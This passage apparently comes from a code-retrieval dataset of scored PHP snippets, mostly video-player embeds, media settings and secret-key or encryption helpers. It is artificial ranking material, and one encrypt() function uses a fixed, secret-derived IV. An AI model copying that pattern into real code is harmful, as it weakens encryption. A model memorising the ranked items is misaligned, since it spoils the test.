$jw[$i][\"type\"] = \"video/mp4\";\n $i++;\n\n }\n if ($sd && !$hd) {\n $jw[$i][\"file\"] = $sd;\n $jw[$i][\"src\"] = $sd;\n $jw[$i][\"label\"] = \"SD\";\n $jw[$i][\"type\"] = \"video/mp4\";\n }\n return $jw;\n}", "title": "" }, { "docid": "6bf89112dd274e3d19019a1ca9a8154b", "score": "0.39247245", "text": "public function get_secret_key() {\n\t\tif ( $this->is_live_mode() ) {\n\t\t\treturn $this->secret_key;\n\t\t} else {\n\t\t\treturn $this->test_secret_key;\n\t\t}\n\t}", "title": "" }, { "docid": "1ccf795d65137d12d7dc9f1b445e0970", "score": "0.39172983", "text": "public function usesConfigurationKey();", "title": "" }, { "docid": "7e3f581fabd83e123d0c6d08fabda0a9", "score": "0.39026546", "text": "private function enableSettingsEncryption()\n\t{\n\t\t$key = $this->createSettingsKey();\n\n\t\tif (empty($key) || ($key == false))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t// Loop all profiles and encrypt their settings\n\t\t/** @var Profiles $profilesModel */\n\t\t$profilesModel = $this->container->factory->model('Profiles')->tmpInstance();\n\t\t$profiles = $profilesModel->get(true);\n\t\t$db = $this->container->db;\n\t\tif (!empty($profiles))\n\t\t{\n\t\t\tforeach ($profiles as $profile)\n\t\t\t{\n\t\t\t\t$id = $profile->id;\n\t\t\t\t$config = Factory::getSecureSettings()->encryptSettings($profile->configuration, $key);\n\t\t\t\t$sql = $db->getQuery(true)\n\t\t\t\t\t->update($db->qn('#__ak_profiles'))\n\t\t\t\t\t->set($db->qn('configuration') . ' = ' . $db->q($config))\n\t\t\t\t\t->where($db->qn('id') . ' = ' . $db->q($id));\n\t\t\t\t$db->setQuery($sql);\n\t\t\t\t$db->execute();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "2c278f1eae4e771884cbb514d7d8ea3e", "score": "0.39016187", "text": "public static function getApiKey() {\n $configArray = parse_ini_file(dirname(__FILE__).'/../config.ini');\n return $configArray['steam'];\n }", "title": "" }, { "docid": "3baaa92bec092499f1b23c4714302611", "score": "0.38987195", "text": "public function setEncrypting($value);", "title": "" }, { "docid": "507246dfe663bbff94e052e90583758e", "score": "0.38984117", "text": "public function getFFMpegConfiguration()\n {\n return $this->ffmpegConfiguration;\n }", "title": "" }, { "docid": "ccf0623978563df6da8fe70f2162db7f", "score": "0.38951892", "text": "function loadEncryptionKeyFromConfig() {\n return Key::loadFromAsciiSafeString(encryptionKey());\n}", "title": "" }, { "docid": "fe9067ce32978f7061c8a3256079478a", "score": "0.3894042", "text": "public static function play();", "title": "" }, { "docid": "218bd1cacfd42ffd831591f924b7c6ca", "score": "0.38912597", "text": "public function setSecret(): void;", "title": "" }, { "docid": "81388e92db64d755ea5f4c422d22f196", "score": "0.38885143", "text": "function audioman_video_controls( $settings ) {\n\t$settings['l10n']['play'] = '<span class=\"screen-reader-text\">' . esc_html__( 'Play background video', 'audioman' ) . '</span>';\n\t$settings['l10n']['pause'] = '<span class=\"screen-reader-text\">' . esc_html__( 'Pause background video', 'audioman' ) . '</span>';\n\treturn $settings;\n}", "title": "" }, { "docid": "7c99eacf7e81395b332467fb1246bab3", "score": "0.38848206", "text": "function sharedresource_add_mplayer($shrentry, $courseid, $isremote = false) {\n global $CFG;\n\n $config = get_config('mplayer');\n\n // We build a MPlayer instance.\n include_once($CFG->dirroot.'/mod/mplayer/lib.php');\n\n $instance = new StdClass();\n // General instance attributes.\n $instance->name = $shrentry->title;\n $instance->intro = $shrentry->description;\n $instance->introformat = FORMAT_MOODLE;\n $time = time();\n $instance->timecreated = $time;\n $instance->timemodified = $time;\n\n $instance->type = 'url'; // Common to both technologies, jwplayer and flowplayer.\n $instance->external = $shrentry->url;\n\n // Determine best fit technology.\n $instance->technology = $config->default_player;\n if ($isremote) {\n // JW player external url does'nt work well with foreign urls.\n $instance->technology = 'flowlayer';\n }\n\n if (preg_match('/youtube/', $shrentry->url)) {\n $instance->technology = 'jw712';\n $instance->type = 'url'; // Common to both technologies, jwplayer and flowplayer.\n }\n\n // Specific instance attributes and assets.\n $instance->width = $config->default_width;\n $instance->height = $config->default_height;\n $instance->controlbar = $config->default_controlbar;\n $instance->frontcolor = $config->default_frontcolor;\n $instance->backcolor = $config->default_backcolor;\n $instance->lightcolor = $config->default_lightcolor;\n $instance->screencolor = $config->default_screencolor;\n $instance->autostart = $config->default_autostart;\n $instance->fullscreen = $config->default_fullscreen;\n $instance->streching = $config->default_stretching;\n\n $instance->coursemodule = ''; // New module.\n\n $instance->course = $courseid;\n $instance->id = mplayer_add_instance($instance, null);\n\n return $instance;\n}", "title": "" }, { "docid": "c7ad3ef3aab41956d33b5cd2ba15c41b", "score": "0.38525772", "text": "function create_bc_video($atts) {\n\t\textract(shortcode_atts(array(\n\t\t\t'vidid' => 'no id',\n\t\t\t'propertyid' => 'no property',\n\t\t), $atts));\n\t\n\t\t//var_dump($vidid);\n\t\t\n\t\t//setup list of properties player id's I'll move this to a config file when it's all working - mateo 5/3/12\nswitch ($propertyid) {\n case \"dailynews\":\n $playerid = '1620111210001';\n $playerkey = 'AQ~~,AAAAAGA-Sig~,6sNVJ3Bb4XsaQmpCZhT7ksFAPod2HrIj';\n break;\n \tcase \"dailybreeze\":\n $playerid = '1618290560001';\n $playerkey = 'AQ~~,AAAAAGBdRAo~,t2cIYZUexJ1B1XEc-XqO20_0p1EDnrCa';\n break; \n \tcase \"presstelegram\":\n $playerid = '1620111214001';\n $playerkey = 'AQ~~,AAAAAGApB6s~,yrcO1jAnZOLnTJakebWwogXCEqoS-dAM';\n break; \n case \"mercnews\":\n $playerid = '77543683001';\n $playerkey = 'AQ~~,AAAAAF4Pseg~,AuucDCy8Ix1LVZExjO6fAaXxVLmsA2Wu';\n break; \n default:\n $playerid = '';\n}\n\t\t\n\t\t\n\t\t\n\t\tob_start();?>\n<div class=\"clear\"></div>\t\t\n<div class=\"videobox\">\n<!-- Start of Brightcove Player -->\n\n<div style=\"display:none\">\n\n</div>\n\n<!--\nBy use of this code snippet, I agree to the Brightcove Publisher T and C \nfound at https://accounts.brightcove.com/en/terms-and-conditions/. \n-->\n\n<script language=\"JavaScript\" type=\"text/javascript\" src=\"http://admin.brightcove.com/js/BrightcoveExperiences.js\"></script>\n\n<object id=\"myExperience<?php echo $vidid?>\" class=\"BrightcoveExperience\">\n <param name=\"bgcolor\" value=\"#FFFFFF\" />\n <param name=\"width\" value=\"600\" />\n <param name=\"height\" value=\"335\" />\n <param name=\"wmode\" value=\"transparent\" />\n <param name=\"playerID\" value=\"<?php echo $playerid?>\" />\n <param name=\"playerKey\" value=\"<?php echo $playerkey?>\" />\n <param name=\"isVid\" value=\"true\" />\n <param name=\"isUI\" value=\"true\" />\n <param name=\"dynamicStreaming\" value=\"true\" />\n <param name=\"@videoPlayer\" value=\"<?php echo $vidid?>\" />\n</object>\n\n\n\n<!-- \nThis script tag will cause the Brightcove Players defined above it to be created as soon\nas the line is read by the browser. If you wish to have the player instantiated only after\nthe rest of the HTML is processed and the page load is complete, remove the line.\n-->\n<script type=\"text/javascript\">brightcove.createExperiences();</script>\n\n<!-- End of Brightcove Player -->\n\n</div>\t\n\n\n\n\n\t\t<?php\n\t $data = ob_get_contents();\n ob_end_clean();\n\treturn $data;\n\t//print_r($data);\n\t\n\t}", "title": "" }, { "docid": "2c482db3357ba5dffddcbb792a333ed9", "score": "0.3844301", "text": "public function setOnplay(string $value):static {\n return $this->setAttribute('onplay', $value);\n }", "title": "" }, { "docid": "551cb65a959afcebe19d45e1caf27e44", "score": "0.38416377", "text": "protected function getCipher()\n {\n return static::AES256_CIPHER;\n }", "title": "" }, { "docid": "4d62aba43e532b67a15e7ad8e7b22c0b", "score": "0.38410246", "text": "public function testAutoplay() {\n $this->setupEntityDisplays();\n $node = $this->createMediaNode('https://vimeo.com/80896303');\n $this->setDisplayComponentSettings('media_embed_field_media', [\n 'autoplay' => TRUE,\n ]);\n $bypass_autoplay_user = $this->drupalCreateUser(['never autoplay media videos']);\n // Assert a user with the permission doesn't get autoplay.\n $this->drupalLogin($bypass_autoplay_user);\n $this->drupalGet('node/' . $node->id());\n $this->assertSession()->elementAttributeContains('css', 'iframe', 'src', 'autoplay=0');\n // Ensure an anonymous user gets autoplay.\n $this->drupalLogout();\n $this->drupalGet('node/' . $node->id());\n $this->assertSession()->elementAttributeContains('css', 'iframe', 'src', 'autoplay=1');\n }", "title": "" }, { "docid": "3765b894b27182886dbc7db6f42d962b", "score": "0.3839313", "text": "public function __construct()\n {\n $settings = sfConfig::get('app_a_soundcloud');\n \n $this->features = array('thumbnail', 'search', 'browseUser');\n $this->apiUrl = 'http://api.soundcloud.com/';\n \n if (isset($settings['consumerKey']))\n {\n $this->consumerKey = $settings['consumerKey'];\n }\n if (isset($settings['maxPlaylistHeight']))\n {\n $this->maxPlaylistHeight = $settings['maxPlaylistHeight'];\n }\n if (isset($settings['maxTrackHeight']))\n {\n $this->maxTrackHeight = $settings['maxTrackHeight'];\n }\n }", "title": "" }, { "docid": "32b0499d2e99b72b58d97a5a5f78c66d", "score": "0.38381281", "text": "private function disableSettingsEncryption()\n\t{\n\t\t// Load the server key file if necessary\n\n\t\t$filename = JPATH_COMPONENT_ADMINISTRATOR . '/BackupEngine/serverkey.php';\n\t\t$key = Factory::getSecureSettings()->getKey();\n\n\t\t// Loop all profiles and decrypt their settings\n\t\t/** @var Profiles $profilesModel */\n\t\t$profilesModel = $this->container->factory->model('Profiles')->tmpInstance();\n\t\t$profiles = $profilesModel->get(true);\n\t\t$db = $this->container->db;\n\n\t\t/** @var Profiles $profile */\n\t\tforeach ($profiles as $profile)\n\t\t{\n\t\t\t$id = $profile->getId();\n\t\t\t$config = Factory::getSecureSettings()->decryptSettings($profile->configuration, $key);\n\t\t\t$sql = $db->getQuery(true)\n\t\t\t\t->update($db->qn('#__ak_profiles'))\n\t\t\t\t->set($db->qn('configuration') . ' = ' . $db->q($config))\n\t\t\t\t->where($db->qn('id') . ' = ' . $db->q($id));\n\t\t\t$db->setQuery($sql);\n\t\t\t$db->execute();\n\t\t}\n\n\t\t// Decrypt the Secret Word settings in the database\n\t\t$params = $this->container->params;\n\t\tSecretWord::enforceDecrypted($params, 'frontend_secret_word', $key);\n\n\t\t// Finally, remove the key file\n\t\tif (!@unlink($filename))\n\t\t{\n\t\t\tJLoader::import('joomla.filesystem.file');\n\t\t\tJFile::delete($filename);\n\t\t}\n\t}", "title": "" }, { "docid": "060fc478b1e7fbc6a278a8ba066faabe", "score": "0.3823624", "text": "public function secret() {\n\n\t}", "title": "" }, { "docid": "1b4f551c2e1331f369eed46e522b3d6d", "score": "0.38203195", "text": "public function test_bit_rate()\n {\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'bit_rate' => 2048),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"br_2048/video_id\"\n );\n // should support \"<integer>k\"\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'bit_rate' => '44k'),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"br_44k/video_id\"\n );\n // should support \"<integer>m\"\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'bit_rate' => '1m'),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"br_1m/video_id\"\n );\n }", "title": "" }, { "docid": "254eb5964816af4fbd4ae5b1f9c569a1", "score": "0.3813192", "text": "public function getConsumerSecret();", "title": "" }, { "docid": "c88fef829a5f3cf2b7f081e539d2c1d7", "score": "0.3804824", "text": "public function play_turn($turn) {\n }", "title": "" }, { "docid": "4c8f3b7fa11357a70f4702210670241d", "score": "0.38047937", "text": "static public function showCode()\n\t{\n\t\t$html = '';\n\n\t\t$base = siteUrl().self::BASE; # Alias\n\n\t\t// Secure-image\n\t\t$html .= '<img class=\"securimage-image\" id=\"' .self::IMG_ID. '\" src=\"' .$base.self::SHOW. '?sid=' .md5(rand()). '\" alt=\"\" />';\n\n\t\t// Play button\n\t\t$play_colors = '&amp;bgColor1=' .'#e3f5fe'. '&amp;bgColor2=' .'#ddd'. '&amp;iconColor=' .'#3470ac'. '&amp;roundedCorner=3';\n\t\t$html .=\n\t\t\t\"\\n\\n\".\n\t\t\t'<object' .\"\\n\".\n\t\t\t'\tclass=\"securimage-play\"' .\"\\n\".\n\t\t\t'\tclassid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"' .\"\\n\".\n\t\t\t'\tcodebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0\"' .\"\\n\".\n\t\t\t'\twidth=\"19\"' .\"\\n\".\n\t\t\t'\theight=\"19\"' .\"\\n\".\n\t\t\t'\tid=\"SecurImage_as3\">' .\"\\n\\n\".\n\n\t\t\t'\t<param name=\"allowScriptAccess\" value=\"sameDomain\" />' .\"\\n\".\n\t\t\t'\t<param name=\"allowFullScreen\" value=\"false\" />' .\"\\n\".\n\t\t\t'\t<param name=\"movie\" value=\"' .$base. 'securimage_play.swf?audio=' .$base.self::PLAY.$play_colors. '\" />' .\"\\n\".\n\t\t\t'\t<param name=\"quality\" value=\"high\" />' .\"\\n\".\n\t\t\t'\t<param name=\"bgcolor\" value=\"#ffffff\" />' .\"\\n\\n\".\n\n\t\t\t'\t<embed' .\"\\n\".\n\t\t\t'\t\tsrc=\"' .$base. 'securimage_play.swf?audio=' .$base.self::PLAY.$play_colors. '\"' .\"\\n\".\n\t\t\t'\t\tquality=\"high\"' .\"\\n\".\n\t\t\t'\t\tbgcolor=\"#ffffff\"' .\"\\n\".\n\t\t\t'\t\twidth=\"19\"' .\"\\n\".\n\t\t\t'\t\theight=\"19\"' .\"\\n\".\n\t\t\t'\t\tname=\"SecurImage_as3\"' .\"\\n\".\n\t\t\t'\t\tallowScriptAccess=\"sameDomain\"' .\"\\n\".\n\t\t\t'\t\tallowFullScreen=\"false\"' .\"\\n\".\n\t\t\t'\t\ttype=\"application/x-shockwave-flash\"' .\"\\n\".\n\t\t\t'\t\tpluginspage=\"http://www.macromedia.com/go/getflashplayer\" />' .\"\\n\\n\".\n\n\t\t\t'</object><br />'.\"\\n\\n\";\n\n\t\t// Refresh button\n\t\t$html .=\n\t\t\t'<a '.\n\t\t\t\t'class=\"securimage-refresh\" title=\"'.LANG_CAPTCHA_BUTTON_REFRESH.'\" tabindex=\"-1\" href=\"#\" '.\n\t\t\t\t'onclick=\"document.getElementById(\\'' .self::IMG_ID. '\\').src=\\''.$base.self::SHOW.'?sid=\\'+Math.random();return false\"'.\n\t\t\t'><img src=\"' .$base.self::IMG_REFRESH. '\" alt=\"Refresh\" onclick=\"this.blur()\" /></a>' .\"\\n\\n\";\n\n\t\t// Show the refresh button (initially hidden by css) and display the captcha input value in uppercase\n\t\t$html .= '<script type=\"text/javascript\">$(document).ready(function(){ $(\".securimage-refresh\").show(); $(\"#user_create_captcha\").keyup(function(){$(this).val($(this).val().toUpperCase());}); });</script>' .\"\\n\";\n\n\t\treturn \"\\n\\n<!-- Captcha::begin -->\\n<div class=\\\"securimage-wrapper\\\">\\n$html\\n<br class=\\\"securimage-clear\\\" />\\n</div>\\n<!-- Captcha::end -->\\n\\n\";\n\t}", "title": "" }, { "docid": "4e0ad5b355ac3fd4b46c9356598ca06f", "score": "0.37944293", "text": "function get_custom_policy_stream_name($video_path, $private_key_filename, $key_pair_id, $policy) {\n $encoded_policy = url_safe_base64_encode($policy);\n // sign the original policy, not the encoded version\n $signature = rsa_sha1_sign($policy, $private_key_filename);\n // make the signature safe to be included in a url\n $encoded_signature = url_safe_base64_encode($signature);\n\n // combine the above into a stream name\n $stream_name = create_stream_name($video_path, $encoded_policy, $encoded_signature, $key_pair_id, null);\n // url-encode the query string characters to work around a flash player bug\n //return encode_query_params($stream_name);\n return $stream_name;\n}", "title": "" }, { "docid": "25fc1c45bcd515ff0153c1a5cba0a9be", "score": "0.3791048", "text": "public function actionIpbVerifyScore()\r\n\t{\r\n\t\t$randomvar1 = rand(1, 25);\r\n\t\t$randomvar2 = rand(1, 25);\r\n\t\t$ttl = 500 * 60;\r\n\t\t// 5 minutes?\r\n\r\n\t\t// Bake a Cookie\r\n\t\tXenForo_Helper_Cookie::setCookie('xfarcade_v32_cookie', $randomvar1 . ',' . $randomvar2, $ttl);\r\n\r\n\t\t// Return the values\r\n\t\techo '&randchar=' . $randomvar1 . '&randchar2=' . $randomvar2 . '&savescore=1&blah=OK';\r\n\r\n\t\texit ;\r\n\t}", "title": "" }, { "docid": "594a7affa9e38cf7ec353a2ca33014c3", "score": "0.37800637", "text": "final public function getCipher() {}", "title": "" }, { "docid": "30fea1b4415bce19747d397acb9e5f43", "score": "0.37729362", "text": "public function bitrate(string $bitrate): static;", "title": "" }, { "docid": "bd1f219a2658253b76eed6f90447f3ce", "score": "0.37664318", "text": "public function test_video_sampling()\n {\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'video_sampling' => 20),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"vs_20/video_id\"\n );\n // should support an string value in the a form of '<float>s'\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'video_sampling' => \"2.3s\"),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"vs_2.3s/video_id\"\n );\n }", "title": "" }, { "docid": "e108e5722f3db197f377dbbdd40edd0e", "score": "0.3766389", "text": "function via_sync_activity_playbacks($via) {\n global $DB;\n $api = new mod_via_api();\n\n if ($via->activityversion == 0) {\n try {\n $playbacks = $api->list_playback($via);\n } catch (Exception $e) {\n mtrace(get_error_message($e));\n }\n\n if (isset($playbacks['Playback']) && count($playbacks) == 1) {\n $aplaybacks = $playbacks['Playback'];\n } else {\n $aplaybacks = $playbacks;\n }\n\n if (gettype($aplaybacks) == \"array\" && count($aplaybacks) > 1) {\n foreach ($aplaybacks as $playback) {\n if (gettype($playback) == \"array\") {\n if (isset($playback['BreackOutPlaybackList'])) {\n foreach ($playback['BreackOutPlaybackList'] as $breakout) {\n if (gettype($breakout) == \"array\") {\n if (isset($breakout['PlaybackID'])) {\n if (!$DB->record_exists('via_playbacks', array(\"playbackid\" => $breakout['PlaybackID']))) {\n $param = new stdClass();\n $param->playbackid = $breakout['PlaybackID'];\n $param->title = $breakout['Title'];\n $param->duration = $breakout['Duration'];\n $param->creationdate = strtotime($breakout['CreationDate']);\n $param->accesstype = $via->isreplayallowed;\n // In old version = $breakout['IsPublic']; not sure which is correct!\n $param->isdownloadable = $breakout['IsDownloadable'];\n $param->hasfullvideorecord = $breakout['HasFullVideoRecord'];\n $param->hasmobilevideorecord = $breakout['HasMobileVideoRecord'];\n $param->hasaudiorecord = $breakout['HasAudioRecord'];\n $param->activityid = $via->id;\n $param->playbackidref = $breakout['PlaybackRefID'];\n $param->deleted = \"0\";\n $newparam = $DB->insert_record('via_playbacks', $param);\n }\n } else {\n foreach ($breakout as $bkout) {\n if (gettype($bkout) == \"array\") {\n if (!$DB->record_exists('via_playbacks', array(\"playbackid\" => $bkout['PlaybackID']))) {\n $param = new stdClass();\n $param->playbackid = $bkout['PlaybackID'];\n $param->title = $bkout['Title'];\n $param->duration = $bkout['Duration'];\n $param->creationdate = strtotime($bkout['CreationDate']);\n $param->accesstype = $via->isreplayallowed;\n $param->isdownloadable = $bkout['IsDownloadable'];\n $param->hasfullvideorecord = $bkout['HasFullVideoRecord'];\n $param->hasmobilevideorecord = $bkout['HasMobileVideoRecord'];\n $param->hasaudiorecord = $bkout['HasAudioRecord'];\n $param->activityid = $via->id;\n $param->playbackidref = $bkout['PlaybackRefID'];\n $param->deleted = \"0\";\n $newparam = $DB->insert_record('via_playbacks', $param);\n }\n }\n }\n }\n }\n }\n } else {\n if (!$DB->record_exists('via_playbacks', array(\"playbackid\" => $playback['PlaybackID']))) {\n $param = new stdClass();\n $param->playbackid = $playback['PlaybackID'];\n $param->title = $playback['Title'];\n $param->duration = $playback['Duration'];\n $param->creationdate = strtotime($playback['CreationDate']);\n $param->accesstype = $via->isreplayallowed;\n $param->isdownloadable = $playback['IsDownloadable'];\n $param->hasfullvideorecord = $playback['HasFullVideoRecord'];\n $param->hasmobilevideorecord = $playback['HasMobileVideoRecord'];\n $param->hasaudiorecord = $playback['HasAudioRecord'];\n $param->activityid = $via->id;\n $param->playbackidref = null;\n $param->deleted = \"0\";\n $newparam = $DB->insert_record('via_playbacks', $param);\n }\n }\n }\n }\n }\n } else {\n // HTML5.\n try {\n $playbacklist = $api->playback_getlist_html5($via);\n } catch (Exception $e) {\n mtrace(get_error_message($e));\n }\n if (gettype($playbacklist) == \"array\" && count($playbacklist) > 0) {\n foreach ($playbacklist as $playback) {\n $param = new stdClass();\n $param->playbackid = $playback['id'];\n $param->title = get_localized_text($playback, 'title');\n $param->duration = $playback['duration'];\n $param->accesstype = $via->isreplayallowed;\n $param->activityid = $via->id;\n if (isset($playback['parentId'])) {\n $param->playbackidref = $playback['parentId'];\n }\n if (isset($playback['startDate'])) {\n $param->creationdate = strtotime($playback['startDate']);\n }\n $param->deleted = \"0\";\n $param->isdownloadable = 0;\n $param->hasfullvideorecord = 0;\n $param->hasmobilevideorecord = 0;\n $param->hasaudiorecord = 0;\n if (!$DB->record_exists('via_playbacks', array(\"playbackid\" => $playback['id']))) {\n $newparam = $DB->insert_record('via_playbacks', $param);\n }\n }\n }\n }\n $param = new stdClass();\n $param->id = $via->id;\n if ($via->activitytype != 2) { // If not permanent.\n $param->playbacksync = 0;\n } else {\n $param->playbacksync = (time() - 300);\n }\n $DB->update_record('via', $param);\n}", "title": "" }, { "docid": "778f22ba5037d2f0be6517a89250ba0e", "score": "0.37597233", "text": "public static function mode($cipher)\r\n {\r\n self::$mode = Verbal::BLOCK_MODE[$cipher];\r\n }", "title": "" }, { "docid": "c7e777a927e167c8f86740d4e9a6e79d", "score": "0.37529773", "text": "public function loadAccountKeyPair(): KeyPair;", "title": "" }, { "docid": "5b83b65550a6c6769becafead09f9a97", "score": "0.37449962", "text": "public static function secret_key()\n {\n if(Director::isDev()) {\n if (defined(\"STRIPE_TEST_SK\")) {\n return STRIPE_TEST_SK;\n } else {\n return self::config()->test_secret_key;\n }\n } else {\n if (defined(\"STRIPE_LIVE_SK\")) {\n return STRIPE_LIVE_SK;\n } else {\n return self::config()->live_secret_key;\n }\n }\n }", "title": "" }, { "docid": "3fb2084dbd340b8cb4100e4847881cca", "score": "0.37399408", "text": "public function setSecret($var)\n {\n GPBUtil::checkString($var, True);\n $this->secret = $var;\n\n return $this;\n }", "title": "" }, { "docid": "6769364a73bcf206a89376d33d13bd3f", "score": "0.37318468", "text": "function _sc_youtube( array $atts ): string {\n\treturn _make_video_frame(\n\t\t$atts,\n\t\t'<iframe class=\"wpinc-medi-youtube\" src=\"https://www.youtube.com/embed/%s\" width=\"%s\" height=\"%s\" frameborder=\"0\" allow=\"autoplay;encrypted-media;fullscreen;picture-in-picture\"></iframe>'\n\t);\n}", "title": "" }, { "docid": "b9b3919e91d9fa7e9c736d48adb8e4d7", "score": "0.37315747", "text": "public function getFacebookApiKey() {\n return Mage::helper('storelocator')->getConfig('facekey');\n }", "title": "" }, { "docid": "3b7fe77dda06cd64f6ea2d0bdd325cda", "score": "0.37247762", "text": "public static function aud()\n\t{\n\t\treturn Encrypt::oneWayHash(self::audString());\n\t}", "title": "" }, { "docid": "728a5848d5fbd2220f53f59f8084dee7", "score": "0.37210217", "text": "public function onPrepareStream(SocialStreamItem &$item, $includePrivacy = true)\n\t{\n\t\t// You should be testing for app context\n\t\tif ($item->context !== 'appcontext')\n\t\t{\n\t\t\treturn;\n\t\t}\n\t}", "title": "" }, { "docid": "a364b3d87053a2edadc62ac35c24c767", "score": "0.3719564", "text": "public function encrypt()\n {\n $output = false;\n \n // hash\n $key = hash('sha256', self::SECRET_KEY);\n // iv - encrypt method AES-256-CBC expects 16 bytes\n $iv = substr(hash('sha256', self::SECRET_IV), 0, 16);\n\n $output = openssl_encrypt($this->painText, self::ENCRYPT_METHOD, $key, 0, $iv);\n $this->encryptVar = base64_encode($output);\n\n return $this->encryptVar;\n }", "title": "" }, { "docid": "ac1ff3ca18728ff08d75022e2eefa735", "score": "0.37101036", "text": "public function amazon_polly_secret_key_cb() {\n\t\t$secret_key = get_option( 'amazon_polly_secret_key' );\n\t\techo '<input type=\"password\" class=\"regular-text\" name=\"amazon_polly_secret_key\" id=\"amazon_polly_secret_key\" value=\"' . esc_attr( $secret_key ) . '\" autocomplete=\"off\"> ';\n\t\techo '<p class=\"description\" id=\"amazon_polly_access_key\">Required only if you aren\\'t using IAM roles</p>';\n\t}", "title": "" }, { "docid": "12821752bc68da2748e9eaf02bb9077d", "score": "0.37082133", "text": "public function test_streaming_profile()\n {\n $options = array(\"streaming_profile\" => \"some-profile\");\n $this->cloudinary_url_assertion(\"test\", $options, CloudinaryTest::DEFAULT_UPLOAD_PATH . \"sp_some-profile/test\");\n }", "title": "" }, { "docid": "8ff36c05e806c53eb65849c2721ffb00", "score": "0.36987168", "text": "public function getTasCanPause ()\n {\n\n return $this->tas_can_pause;\n }", "title": "" }, { "docid": "dff59fcf55b3d6a41c90eba2d415c51e", "score": "0.3696171", "text": "public function getEncryptable();", "title": "" }, { "docid": "0bf96954d32b97d6f9e6d304f9c9df97", "score": "0.3692861", "text": "public function __construct($participant, $secret)\n {\n $this->participant = $participant;\n $this->secret = $secret;\n }", "title": "" }, { "docid": "4c87714cd78c7c54673790d2354d4d83", "score": "0.368951", "text": "public static function elementive_video_background( $settings, $control, $class = '' ) {\n\n\t\t$is_enabled = false;\n\n\t\tif ( 'video' === $settings[ $control . '_background' ] ) {\n\t\t\t$is_enabled = true;\n\t\t}\n\n\t\tif ( ! $is_enabled ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$classes = [];\n\n\t\tif ( $class ) {\n\t\t\tif ( ! is_array( $class ) ) {\n\t\t\t\t$class = preg_split( '#\\s+#', $class );\n\t\t\t}\n\t\t\t$classes = array_map( 'esc_attr', $class );\n\t\t} else {\n\t\t\t// Ensure that we always coerce class to being an array.\n\t\t\t$class = [];\n\t\t}\n\n\t\t$loop = 'true';\n\t\t$url = $settings[ $control . '_video_link' ];\n\t\t$start = $settings[ $control . '_video_start' ];\n\t\t$stop = $settings[ $control . '_video_end' ];\n\t\t$thumb = $settings[ $control . '_video_fallback' ];\n\n\t\tif ( $settings[ $control . '_play_once' ] ) {\n\t\t\t$loop = 'false';\n\t\t}\n\n\t\t$classes[] = 'jarallax-video';\n\n\t\t$classes = array_map( 'esc_attr', $classes );\n\n\t\tif ( $is_enabled ) {\n\t\t\tif ( $url ) {\n\t\t\t\t?>\n\t\t\t\t<div class=\"elementive-background-video jarallax <?php echo esc_attr( join( ' ', $classes ) ); ?>\" data-speed=\"1\" data-jarallax-video=\"<?php echo esc_url( $url ); ?>\" data-video-start-time=\"<?php echo esc_attr( $start ); ?>\" data-video-loop=\"<?php echo esc_attr( $loop ); ?>\" data-video-end-time=\"<?php echo esc_attr( $stop ); ?>\">\n\t\t\t\t<?php\n\t\t\t\tif ( $thumb ) {\n\t\t\t\t\techo wp_get_attachment_image( $thumb['id'], 'full', '', [ 'class' => 'jarallax-img' ] );\n\t\t\t\t}\n\t\t\t\t?>\n\t\t\t\t</div>\n\t\t\t\t<?php\n\t\t\t}\n\t\t} // End if video background option enabled.\n\t}", "title": "" }, { "docid": "f3d7c267a24968cb3a957a933b0c75ea", "score": "0.36831713", "text": "public function togglePlayThrough() {\n /** @var Option $playThrough */\n $playThrough = Option::where('name', 'play_through')->first(); //Check to see if we have play_through in the Options table.\n $playThrough->value = ($playThrough->value = !$playThrough->value); //Toggle the value from true to false\n $playThrough->save();\n\n }", "title": "" }, { "docid": "28444320bf8b798cf7542cd9852f1abb", "score": "0.36777094", "text": "public function __construct()\n {\n $this->config = [ \n \"youtube\" => [\n \"auth_secret\" => getenv(\"youtube_auth_secret\"),\n 'category' => '22',\n 'scope' => 'https://www.googleapis.com/auth/youtube' \n ],\n 'auth' => [\n 'key' => getenv(\"impossible_key\"),\n 'secret' => getenv(\"impossible_secret\")\n ],\n 'connection'=> [\n 'region'=>'us-west-2',\n 'prjuid' => getenv(\"impossible_connection_prjuid\"),\n 'url' => 'https://xml.impossible.io/v1/render/'\n ],\n 'google' => [\n 'developer_key' => getenv(\"google_developer_key\"),\n 'client_id' => getenv(\"google_client_id\"),\n 'secret' => getenv(\"google_secret\"),\n 'token' => getenv(\"google_token\")\n ]\n\n ];\n }", "title": "" }, { "docid": "fcd85db75d85ee3618d9ef675860f32a", "score": "0.36747733", "text": "function __varruct(){\n $pluginspage = 'http://get.adobe.com/flashplayer/';\n $allowScriptAccess = 'always';\n $wmode = 'transparent';\n $videoSrc = '';\n\n /**\n * Embed Attributes\n */\n $this->embedAttr = array(\n 'type' => 'application/x-shockwave-flash',\n 'src' => $videoSrc,\n 'width' => $this->embeviWidth,\n 'height' => $this->embeviHeight,\n 'wmode' => $wmode,\n 'allowScriptAccess' => $allowScriptAccess,\n 'pluginspage' => $pluginspage,\n 'flashvars' => '',\n 'quality' => 'high',\n 'allowfullscreen' => 'true',\n 'loop' => 'false',\n 'autoplay' => 'false',\n 'autostart' => 'false',\n 'scale' => 'exactfit',\n 'align' => 'middle'\n );\n\n /**\n * Object Param\n */\n $this->objectParam = array(\n 'movie' => $videoSrc,\n 'wmode' => $wmode,\n 'allowScriptAccess' => $allowScriptAccess,\n 'pluginspage' => $pluginspage\n );\n\n /**\n * Object Attributes\n */\n $this->objectAttr = array(\n 'classid' => 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000',\n 'codebase' => 